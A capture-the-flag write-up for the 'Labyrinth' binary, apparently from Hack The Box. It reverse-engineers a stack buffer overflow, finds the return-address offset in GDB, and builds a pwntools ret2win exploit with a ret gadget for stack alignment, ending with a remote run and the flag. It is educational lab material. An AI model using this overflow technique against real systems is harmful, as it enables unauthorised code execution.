Labyrinth
9 minutes to read
We are given a 64-bit binary called labyrinth
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Reverse engineering
If we open it in Ghidra, we will see this main
function in decompiled C code:
int main() {
int ret;
char *__s;
char data[32];
ulong i;
setup();
banner();
data._0_8_ = 0;
data._8_8_ = 0;
data._16_8_ = 0;
data._24_8_ = 0;
fwrite("\nSelect door: \n\n", 1, 0x10, stdout);
for (i = 1; i < 0x65; i = i + 1) {
if (i < 10) {
fprintf(stdout,"Door: 00%d ", i);
} else if (i < 100) {
fprintf(stdout,"Door: 0%d ", i);
} else {
fprintf(stdout,"Door: %d ", i);
}
if ((i % 10 == 0) && (i != 0)) {
putchar(L'\n');
}
}
fwrite("\n>> ", 1, 4, stdout);
__s = (char *) malloc(0x10);
fgets(__s, 5, stdin);
ret = strncmp(__s, "69" ,2);
if (ret != 0) {
ret = strncmp(__s, "069", 3);
if (ret != 0) goto LAB_004015da;
}
fwrite("\nYou are heading to open the door but you suddenly see something on the wall:\n\n\"Fly li ke a bird and be free!\"\n\nWould you like to change the door you chose?\n\n>> ", 1, 0xa0, stdout);
fgets(data, 68, stdin);
LAB_004015da:
fprintf(stdout,"\n%s[-] YOU FAILED TO ESCAPE!\n\n", &DAT_00402541);
return 0;
}
We need to enter 69
or 069
to get to another user input; otherwise, the program will exit:
$ ./labyrinth
βββββββββββββββββββββββββββββββββββββββββ
β-βΈ β β β
β-βΈ β O β β
β-βΈ β '|' β β
β-βΈ β / \ β β
βββββββββββββββββββββββββββββ²β³β²β³β²β³β²β³β²β³β
Select door:
Door: 001 Door: 002 Door: 003 Door: 004 Door: 005 Door: 006 Door: 007 Door: 008 Door: 009 Door: 010
Door: 011 Door: 012 Door: 013 Door: 014 Door: 015 Door: 016 Door: 017 Door: 018 Door: 019 Door: 020
Door: 021 Door: 022 Door: 023 Door: 024 Door: 025 Door: 026 Door: 027 Door: 028 Door: 029 Door: 030
Door: 031 Door: 032 Door: 033 Door: 034 Door: 035 Door: 036 Door: 037 Door: 038 Door: 039 Door: 040
Door: 041 Door: 042 Door: 043 Door: 044 Door: 045 Door: 046 Door: 047 Door: 048 Door: 049 Door: 050
Door: 051 Door: 052 Door: 053 Door: 054 Door: 055 Door: 056 Door: 057 Door: 058 Door: 059 Door: 060
Door: 061 Door: 062 Door: 063 Door: 064 Door: 065 Door: 066 Door: 067 Door: 068 Door: 069 Door: 070
Door: 071 Door: 072 Door: 073 Door: 074 Door: 075 Door: 076 Door: 077 Door: 078 Door: 079 Door: 080
Door: 081 Door: 082 Door: 083 Door: 084 Door: 085 Door: 086 Door: 087 Door: 088 Door: 089 Door: 090
Door: 091 Door: 092 Door: 093 Door: 094 Door: 095 Door: 096 Door: 097 Door: 098 Door: 099 Door: 100
>> 69
You are heading to open the door but you suddenly see something on the wall:
"Fly like a bird and be free!"
Would you like to change the door you chose?
>>
Buffer Overflow vulnerability
The binary is vulnerable to Buffer Overflow since there is a variable called data
that has 32 bytes assigned as buffer, but the program is using fgets(data, 68, stdin)
and reads up to 68 bytes from stdin
, thus overflowing the reserved buffer if the size of the input data is greater than 32 bytes.
We can check that it crashes in this situation:
$ ./labyrinth
βββββββββββββββββββββββββββββββββββββββββ
β-βΈ β β β
β-βΈ β O β β
β-βΈ β '|' β β
β-βΈ β / \ β β
βββββββββββββββββββββββββββββ²β³β²β³β²β³β²β³β²β³β
Select door:
Door: 001 Door: 002 Door: 003 Door: 004 Door: 005 Door: 006 Door: 007 Door: 008 Door: 009 Door: 010
Door: 011 Door: 012 Door: 013 Door: 014 Door: 015 Door: 016 Door: 017 Door: 018 Door: 019 Door: 020
Door: 021 Door: 022 Door: 023 Door: 024 Door: 025 Door: 026 Door: 027 Door: 028 Door: 029 Door: 030
Door: 031 Door: 032 Door: 033 Door: 034 Door: 035 Door: 036 Door: 037 Door: 038 Door: 039 Door: 040
Door: 041 Door: 042 Door: 043 Door: 044 Door: 045 Door: 046 Door: 047 Door: 048 Door: 049 Door: 050
Door: 051 Door: 052 Door: 053 Door: 054 Door: 055 Door: 056 Door: 057 Door: 058 Door: 059 Door: 060
Door: 061 Door: 062 Door: 063 Door: 064 Door: 065 Door: 066 Door: 067 Door: 068 Door: 069 Door: 070
Door: 071 Door: 072 Door: 073 Door: 074 Door: 075 Door: 076 Door: 077 Door: 078 Door: 079 Door: 080
Door: 081 Door: 082 Door: 083 Door: 084 Door: 085 Door: 086 Door: 087 Door: 088 Door: 089 Door: 090
Door: 091 Door: 092 Door: 093 Door: 094 Door: 095 Door: 096 Door: 097 Door: 098 Door: 099 Door: 100
>> 69
You are heading to open the door but you suddenly see something on the wall:
"Fly like a bird and be free!"
Would you like to change the door you chose?
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-] YOU FAILED TO ESCAPE!
zsh: segmentation fault (core dumped) ./labyrinth
The program crashes because we overwrote the saved return address and when the program tries to return, it finds out an invalid memory address.
Due to the fact that it is a 64-bit binary without canary protection, the offset needed to overflow the buffer and reach the stack is 40 (because after the reserved 32 bytes, the saved value of $rbp
is saved, and right after, the saved return instruction).
Anyway, we can use a pattern string in GDB to find out the offset:
$ gdb -q labyrinth
Reading symbols from labyrinth...
(No debugging symbols found in labyrinth)
gefβ€ pattern create
[+] Generating a pattern of 1024 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaa
aaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaac
baaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaa
aaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaae
caaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaa
aaaf
[+] Saved as '$_gef0'
gefβ€ run
Starting program: ./labyrinth
βββββββββββββββββββββββββββββββββββββββββ
β-βΈ β β β
β-βΈ β O β β
β-βΈ β '|' β β
β-βΈ β / \ β β
βββββββββββββββββββββββββββββ²β³β²β³β²β³β²β³β²β³β
Select door:
Door: 001 Door: 002 Door: 003 Door: 004 Door: 005 Door: 006 Door: 007 Door: 008 Door: 009 Door: 010
Door: 011 Door: 012 Door: 013 Door: 014 Door: 015 Door: 016 Door: 017 Door: 018 Door: 019 Door: 020
Door: 021 Door: 022 Door: 023 Door: 024 Door: 025 Door: 026 Door: 027 Door: 028 Door: 029 Door: 030
Door: 031 Door: 032 Door: 033 Door: 034 Door: 035 Door: 036 Door: 037 Door: 038 Door: 039 Door: 040
Door: 041 Door: 042 Door: 043 Door: 044 Door: 045 Door: 046 Door: 047 Door: 048 Door: 049 Door: 050
Door: 051 Door: 052 Door: 053 Door: 054 Door: 055 Door: 056 Door: 057 Door: 058 Door: 059 Door: 060
Door: 061 Door: 062 Door: 063 Door: 064 Door: 065 Door: 066 Door: 067 Door: 068 Door: 069 Door: 070
Door: 071 Door: 072 Door: 073 Door: 074 Door: 075 Door: 076 Door: 077 Door: 078 Door: 079 Door: 080
Door: 081 Door: 082 Door: 083 Door: 084 Door: 085 Door: 086 Door: 087 Door: 088 Door: 089 Door: 090
Door: 091 Door: 092 Door: 093 Door: 094 Door: 095 Door: 096 Door: 097 Door: 098 Door: 099 Door: 100
>> 69
You are heading to open the door but you suddenly see something on the wall:
"Fly like a bird and be free!"
Would you like to change the door you chose?
>> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaz
aaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaa
aacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadb
aaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaa
aaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafc
aaaaaaf
[-] YOU FAILED TO ESCAPE!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401602 in main ()
gefβ€ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 56 (little-endian search) slikely
[+] Found at offset 49 (big-endian search)
Target function
Looking again at the decompiled source code, there is a function called escape_plan
that prints the file flag.txt
when it is called:
void escape_plan() {
ssize_t length;
char c;
int fd;
putchar(10);
fwrite(&DAT_00402018, 1, 0x1f0, stdout);
fprintf(stdout, "\n%sCongratulations on escaping! Here is a sacred spell to help you continue your journey : %s\n", &DAT_0040220e, &DAT_00402209);
fd = open("./flag.txt", 0);
if (fd < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n\n");
/* WARNING: Subroutine does not return */
exit(1);
}
while (true) {
length = read(fd, &c, 1);
if (length < 1) break;
fputc((int) c, stdout);
}
close(fd);
}
So, we will exploit the Buffer Overflow vulnerability and call this function to solve the challenge.
Exploit development
Let’s use the following code to exploit the binary:
#!/usr/bin/env python3
from pwn import *
context.binary = 'labyrinth'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
offset = 56
junk = b'A' * offset
payload = junk
payload += p64(context.binary.sym.escape_plan)
p.sendlineafter(b'>> ', b'69')
p.sendlineafter(b'>> ', payload)
print(p.recvall().decode())
if __name__ == '__main__':
main()
If we run it, it will not show the test flag:
$ python3 solve.py
[*] './labyrinth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './labyrinth': pid 122363
[+] Receiving all data: Done (532B)
[*] Process './labyrinth' stopped with exit code -11 (SIGSEGV) (pid 122363)
[-] YOU FAILED TO ESCAPE!
\O/
|
/ \
βββββββββββββββββββ βββββββββββββββββββ
β-βΈ β β β
β-βΈ β β β
β-βΈ β β β
β-βΈ β β β
βββββββββββββββββββββββββββββ²β³β²β³β²β³β²β³β²β³β
Debugging the exploit
To analyze what is happening, we can add this sentence to attach GDB to the process:
gdb.attach(p, 'continue')
When running it, the program crashes and stops at a movaps
instruction:
$ python3 solve.py
[*] './labyrinth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './labyrinth': pid 125780
[*] running in new terminal: ['/usr/bin/gdb', '-q', './labyrinth', '125780', '-x', '/tmp/pwniwtf3hpq.gdb']
[+] Waiting for debugger: Done
[Β°] Receiving all data: 532B
gefβ€ x/i $rip
=> 0x7f11c69f6693: movaps XMMWORD PTR [rsp+0x40],xmm0
gefβ€ p/x $rsp
$2 = 0x7ffe79e99be8
This instruction requires the stack to be aligned to 16 bits (that is, the value of $rsp
must end in 0
and thus be a multiple of 16). We can solve this stack alignment issue by using a ret
gadget right before calling escape_plan
. We can use ROPgadget
for that:
$ ROPgadget --binary labyrinth | grep ': ret$'
0x0000000000401016 : ret
Setting this value in the payload will do the trick:
ret_addr = 0x401016
payload = junk
payload += p64(ret_addr)
payload += p64(context.binary.sym.escape_plan)
Now it works locally:
$ python3 solve.py
[*] './labyrinth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './labyrinth': pid 130317
[+] Receiving all data: Done (657B)
[*] Process './labyrinth' stopped with exit code -11 (SIGSEGV) (pid 130317)
[-] YOU FAILED TO ESCAPE!
\O/
|
/ \
ββββββββββββββββ ββββββββββββββββ
β-βΈ β β β
β-βΈ β β β
β-βΈ β β β
β-βΈ β β β
βββββββββββββββββββββββββ²β³β²β³β²β³β²β³β²β³β
Congratulations on escaping! Here is a sacred spell to help you continue your journey:
HTB{f4k3_fl4g_4_t35t1ng}
Flag
So, let’s try remotely:
$ python3 solve.py 64.227.41.83:30884
[*] './labyrinth'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Opening connection to 64.227.41.83 on port 30884: Done
[+] Receiving all data: Done (655B)
[*] Closed connection to 64.227.41.83 port 30884
[-] YOU FAILED TO ESCAPE!
\O/
|
/ \
βββββββββββββββββββ βββββββββββββββββββ
β-βΈ β β β
β-βΈ β β β
β-βΈ β β β
β-βΈ β β β
βββββββββββββββββββββββββββββ²β³β²β³β²β³β²β³β²β³β
Congratulations on escaping! Here is a sacred spell to help you continue your journey:
HTB{3sc4p3_fr0m_4b0v3}
The full exploit code is here: solve.py
.